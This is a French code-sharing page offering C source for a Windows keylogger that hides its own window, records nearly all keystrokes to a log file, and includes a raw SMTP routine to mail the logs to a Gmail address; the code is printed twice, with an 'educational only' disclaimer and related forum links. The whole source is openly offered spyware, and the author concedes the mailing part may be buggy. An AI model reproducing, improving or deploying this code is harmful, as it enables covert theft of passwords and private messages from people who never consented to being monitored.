|
Trouver une ressource
Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !
KEYLOGGER-MAIL (ENVOIE LES TOUCHES FRAPPÉES AU CLAVIER PAR MAIL)
Information sur la source
Description
Ce code est une amélioration d'un code que j'ai trouvé sur cpp france il logue la plus part des touches du clavier sans aucun Hook ! et envoie par mail sur server SMTP port 25 /!\ n' utilisez ce programme qu' à but instructif pour vous perfectionner en C, api et gestion des socket, ni moi ni l' hebergeur de ce code ne sera responsable des "différentes" utilisations de cette source merci ! /!\
Source
- #include <stdio.h>
- #include <stdlib.h>
- #include <windows.h>
- #include <winuser.h>
- #include <windowsx.h>
- #include <time.h>
- int MailIt (char *mailserver, char *emailto, char *emailfrom,
- char *emailsubject, char *emailmessage);
- #define BUFSIZE 800
- #define waittime 500
- /*tapper :
- "nslookup -querytype=mx gmail.com" dans la console msdos
- si vous souhaitez avoir les serveurs SMTP à jour*/
- #define cmailserver "gmail-smtp-in.l.google.com"
- #define cemailto "toi@gmail.com"
- #define cemailfrom "destinataire@gmail.com"
- #define LogLength 100
- #define FileName "sound.wav"
- #define SMTPLog "ring.wav"
- #define cemailsubject "Logged"
- int isalt(); //savoir si alt est pressé
- int ismajpressed(); //savoir si shift est pressé
- int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
- void TraiterLettre(int lettre);
-
- int majuscule; //savoir si le clavier est en mode caps lock
- FILE *sortie;
- char fichier[256];
-
- int main(int argc, char *argv[])
- {
- //on masque
- HWND hwnd = GetForegroundWindow() ;
- ShowWindow(hwnd,SW_HIDE);
-
- int i, lettre, result, lastresult, lastletter, compteur;
-
- GetCurrentDirectory(256, fichier);
- strcat(fichier,"\\fichierlog.txt");
- sortie = fopen(fichier,"w+");
- result=0;
- compteur=0; //on initialise
- lastresult=0;
- i=0;
-
- while ( i==0 ) { //boucle sans fin
- lettre=13;
- for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
-
- result=GetKeyState(lettre);
-
- //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
- if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
- if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
- if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
- {
- TraiterLettre(lettre);
- lastresult=result;
- lastletter=lettre;
- lettre=13;
- Sleep(50);
- }
-
- } //fin de test des lettres
- Sleep(1);
- } //fin de la boucle sans fin
-
- return 0;
- }
-
- int ismaj() {
-
- if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
- return 1;
- else return 0;
- }
-
- int ismajpressed() {
- int result;
-
- result=GetKeyState(VK_SHIFT );
- if ( ( result==-127 ) || ( result==-128 ) ) return 1;
- else return 0;
- }
-
- int isalt() {
- int result;
-
- result=GetKeyState(VK_MENU );
- if ( ( result==-127 ) || ( result==-128 ) ) return 1;
- else return 0;
- }
-
- void TraiterLettre(int lettre) {
-
- char towrite; //la lettre que l'on va écrire dans la console
- static int compteur = 0;
-
- //traitement des chiffres ( un décalage )
- if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
-
- //Les lettres sont envoyées comme majuscules, il faut faire un décalage
- else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
-
- //Sinon on écrit telle quelle la lettre
- else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
-
- else switch ( lettre ) {
-
-
- case VK_MENU:
- fprintf(sortie,"<alt>",towrite);
- break;
-
-
- case VK_BACK:
- fprintf(sortie,"<delete>",towrite);
- break;
-
-
-
- case VK_DELETE:
- fprintf(sortie,"<Suppr>",towrite);
- break;
-
- case 9:
- fprintf(sortie,"<TAB>",towrite);
- break;
-
-
-
- case VK_CONTROL:
- fprintf(sortie,"<ctrl>",towrite);
- break;
-
-
- case 49 : if( ismaj() ) towrite='1';
- else towrite='&';
- break;
-
- case 50 : if ( ismaj() ) towrite='2';
- else towrite='é';
- break;
-
- case 51 : if ( ismaj() ) towrite='3';
- else towrite='"';
- break;
-
- case 52 : if ( ismaj() ) towrite='4';
- else towrite= '"';
- break;
-
- case 53 : if ( ismaj() ) towrite='5';
- else towrite='(';
- break;
-
- case 54 : if ( ismaj() ) towrite='6';
- else towrite='-';
- break;
-
- case 55 : if ( ismaj() ) towrite='7';
- else towrite='è';
- break;
-
-
- case 56 : if ( ismaj() ) towrite='8';
- else towrite='_';
- break;
-
-
- case 57 : if ( ismaj() ) towrite='9';
- else towrite='ç';
- break;
-
- case 48 : if ( ismaj() ) towrite='0';
- else towrite='à';
- break;
-
- case 187 : if( ismaj() ) towrite='=';
- else towrite='+';
- break;
-
- case 186 : if ( ismaj() ) towrite='£';
- else towrite='$';
- break;
-
- case 192 : if ( ismaj() ) towrite='%';
- else towrite='ù';
- break;
-
- case 188 : if ( ismaj() ) towrite='?';
- else towrite=',';
- break;
-
- case 190 : if ( ismaj() ) towrite='.';
- else towrite=';';
- break;
-
- case 191 : if ( ismaj() ) towrite='/';
- else towrite=':';
- break;
-
-
- case 32 : if ( isalt() ) towrite=' ';
- else towrite=' ';
- break;
-
-
-
- case 219 : if ( isalt() ) towrite=']';
- else towrite=')';
- break;
-
-
- case 223 : towrite='!';
- break;
- case 111 : towrite='/';
- break;
- case 106 : towrite='*';
- break;
- case 109 : towrite='-';
- break;
- case 107 : towrite='+';
- break;
- case 110 : towrite='.';
- break;
- }
-
-
- // On affiche les lettres dans le log
- if ( lettre==13 ) fprintf(sortie,"\n");
- else fprintf(sortie,"%c",towrite);
- compteur++;
-
- if ( compteur==2 ) {
- fclose(sortie);
- fopen(fichier,"a");
- compteur=0;
- }
- }
-
- int MailIt (char *mailserver, char *emailto, char *emailfrom,
- char *emailsubject, char *emailmessage) {
- SOCKET sockfd;
- WSADATA wsaData;
- FILE *smtpfile;
-
- #define bufsize 300 // taille du fichier pour l' envoie
- int bytes_sent;
- int err;
- struct hostent *host; /* gethostbyname */
- struct sockaddr_in dest_addr; /* adresse de l'hote */
- char line[1000];
- char *Rec_Buf = (char*) malloc(bufsize+1);
- smtpfile=fopen(SMTPLog,"a+");
- if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
- fputs("WSAStartup failed",smtpfile);
- WSACleanup();
- return -1;
- }
- if ( (host=gethostbyname(mailserver)) == NULL) {
- perror("gethostbyname");
- exit(1);
- }
- memset(&dest_addr,0,sizeof(dest_addr));
- memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
-
- /* Prepare dest_addr */
- dest_addr.sin_family= host->h_addrtype;
- dest_addr.sin_port= htons(25); /* PORT */
-
- if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
- perror("socket");
- exit(1);
- }
- /* Connection !*/
- fputs("Connecting....\n",smtpfile);
-
- if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
- perror("connect");
- exit(1);
- }
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"helo me.somepalace.com\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"MAIL FROM:<");
- strncat(line,emailfrom,strlen(emailfrom));
- strncat(line,">\n",3);
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"RCPT TO:<");
- strncat(line,emailto,strlen(emailto));
- strncat(line,">\n",3);
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"DATA\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- Sleep(waittime);
- strcpy(line,"To:");
- strcat(line,emailto);
- strcat(line,"\n");
- strcat(line,"From:");
- strcat(line,emailfrom);
- strcat(line,"\n");
- strcat(line,"Subject:");
- strcat(line,emailsubject);
- strcat(line,"\n");
- strcat(line,emailmessage);
- strcat(line,"\r\n.\r\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- strcpy(line,"quit\n");
- fputs(line,smtpfile);
- bytes_sent=send(sockfd,line,strlen(line),0);
- Sleep(waittime);
- err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
- fputs(Rec_Buf,smtpfile);
- fclose(smtpfile);
- #ifdef WIN32
- closesocket(sockfd);
- WSACleanup();
- #else
- close(sockfd);
- #endif
- }
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*tapper :
"nslookup -querytype=mx gmail.com" dans la console msdos
si vous souhaitez avoir les serveurs SMTP à jour*/
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "toi@gmail.com"
#define cemailfrom "destinataire@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];
int main(int argc, char *argv[])
{
//on masque
HWND hwnd = GetForegroundWindow() ;
ShowWindow(hwnd,SW_HIDE);
int i, lettre, result, lastresult, lastletter, compteur;
GetCurrentDirectory(256, fichier);
strcat(fichier,"\\fichierlog.txt");
sortie = fopen(fichier,"w+");
result=0;
compteur=0; //on initialise
lastresult=0;
i=0;
while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
result=GetKeyState(lettre);
//Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre);
lastresult=result;
lastletter=lettre;
lettre=13;
Sleep(50);
}
} //fin de test des lettres
Sleep(1);
} //fin de la boucle sans fin
return 0;
}
int ismaj() {
if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
return 1;
else return 0;
}
int ismajpressed() {
int result;
result=GetKeyState(VK_SHIFT );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
int isalt() {
int result;
result=GetKeyState(VK_MENU );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
void TraiterLettre(int lettre) {
char towrite; //la lettre que l'on va écrire dans la console
static int compteur = 0;
//traitement des chiffres ( un décalage )
if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
//Les lettres sont envoyées comme majuscules, il faut faire un décalage
else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
//Sinon on écrit telle quelle la lettre
else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
else switch ( lettre ) {
case VK_MENU:
fprintf(sortie,"<alt>",towrite);
break;
case VK_BACK:
fprintf(sortie,"<delete>",towrite);
break;
case VK_DELETE:
fprintf(sortie,"<Suppr>",towrite);
break;
case 9:
fprintf(sortie,"<TAB>",towrite);
break;
case VK_CONTROL:
fprintf(sortie,"<ctrl>",towrite);
break;
case 49 : if( ismaj() ) towrite='1';
else towrite='&';
break;
case 50 : if ( ismaj() ) towrite='2';
else towrite='é';
break;
case 51 : if ( ismaj() ) towrite='3';
else towrite='"';
break;
case 52 : if ( ismaj() ) towrite='4';
else towrite= '"';
break;
case 53 : if ( ismaj() ) towrite='5';
else towrite='(';
break;
case 54 : if ( ismaj() ) towrite='6';
else towrite='-';
break;
case 55 : if ( ismaj() ) towrite='7';
else towrite='è';
break;
case 56 : if ( ismaj() ) towrite='8';
else towrite='_';
break;
case 57 : if ( ismaj() ) towrite='9';
else towrite='ç';
break;
case 48 : if ( ismaj() ) towrite='0';
else towrite='à';
break;
case 187 : if( ismaj() ) towrite='=';
else towrite='+';
break;
case 186 : if ( ismaj() ) towrite='£';
else towrite='$';
break;
case 192 : if ( ismaj() ) towrite='%';
else towrite='ù';
break;
case 188 : if ( ismaj() ) towrite='?';
else towrite=',';
break;
case 190 : if ( ismaj() ) towrite='.';
else towrite=';';
break;
case 191 : if ( ismaj() ) towrite='/';
else towrite=':';
break;
case 32 : if ( isalt() ) towrite=' ';
else towrite=' ';
break;
case 219 : if ( isalt() ) towrite=']';
else towrite=')';
break;
case 223 : towrite='!';
break;
case 111 : towrite='/';
break;
case 106 : towrite='*';
break;
case 109 : towrite='-';
break;
case 107 : towrite='+';
break;
case 110 : towrite='.';
break;
}
// On affiche les lettres dans le log
if ( lettre==13 ) fprintf(sortie,"\n");
else fprintf(sortie,"%c",towrite);
compteur++;
if ( compteur==2 ) {
fclose(sortie);
fopen(fichier,"a");
compteur=0;
}
}
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;
#define bufsize 300 // taille du fichier pour l' envoie
int bytes_sent;
int err;
struct hostent *host; /* gethostbyname */
struct sockaddr_in dest_addr; /* adresse de l'hote */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype;
dest_addr.sin_port= htons(25); /* PORT */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connection !*/
fputs("Connecting....\n",smtpfile);
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
Sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}
Conclusion
j'ai compilé avec dev c++ libraire à ajouter : lws2_32 il y a certainement encore quelques bugs ou quelques problemes au niveau de l'envoie. au niveau du log des touches tout me semble correct. si vous faite des modif ou l'améliorer tenez moi au courant plz !
Sources du même auteur
Sources de la même categorie
Sources en rapport avec celle ci
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
envoie de mail kand clic sur une application .... [ par gijo ]
je debute en c++ et j aimerais creer un programme permettant de recevoir un mail au moment où quelqu' un clic sur une application déterminé .... j esp
Prog C - Envoie de mail auto avec piece jointe - Projet a 98% terminé.... [ par JimyRyan ]
BonjourJ'ai écrit un programme en C (mode Texte pour le moment) qui ce charge d'envoier un mail automatiquement a une liste de personnes.Le mail ainsi
Envoie de mail [ par lolo007 ]
Bonjour à tousVoila dans le cadre d'un projet, il faudrait que je developpe une sous partie qui me permettrait denvoeyr un mail.Mais je ne sais p
envoie de touches fictives du clavier [ par semenzato ]
Bonjour , je voudrais savoir comment envoyer des touches fictives du clavier à la fenetre de dialogue principalemerci
envoie mail en c sous linux [ par vw91 ]
Bonjour,Je suis a la recherche d'un programme c sous linux qui envoie des mails, car je ne comprends pas comment fonctionne les sockets.J'espere que v
envoie e-mail en c++ avec visual c++6 [ par tsii ]
si quelqu'un a du code et des explication qui montre comment programmer l'envoyer d'un e-mailmercie
Envoie de mail en C++ [ par lolo007 ]
Bonjour a tous.Voila, je develloppe un projet en c++.Un de mes objectifs est d'envoyer un mail d'alerte. (Peut un porte le contenu).Mes voila, je n'ai
envoie de mail [ par dacor ]
Bonjour, je cherche une libraire c++ pour envoyer des mails merci
Envoie automatique d'un mail [ par conservatoire ]
Bonjour!!Je voudrais savoir si il est possible de faire en sorte qu'un programme envoie un mail a une adresse donnée .si oui peut on aussi joindre un
Problème d'envoi d'email [ par pdc_666 ]
Bonjour à tous voilà mon problème. Je dois envoyé des mails dans mon appli, j'ai déja un module qui me permet d'envoyé des mail en passant par un serv
|
Téléchargements
Logiciels à télécharger sur le même thème :
|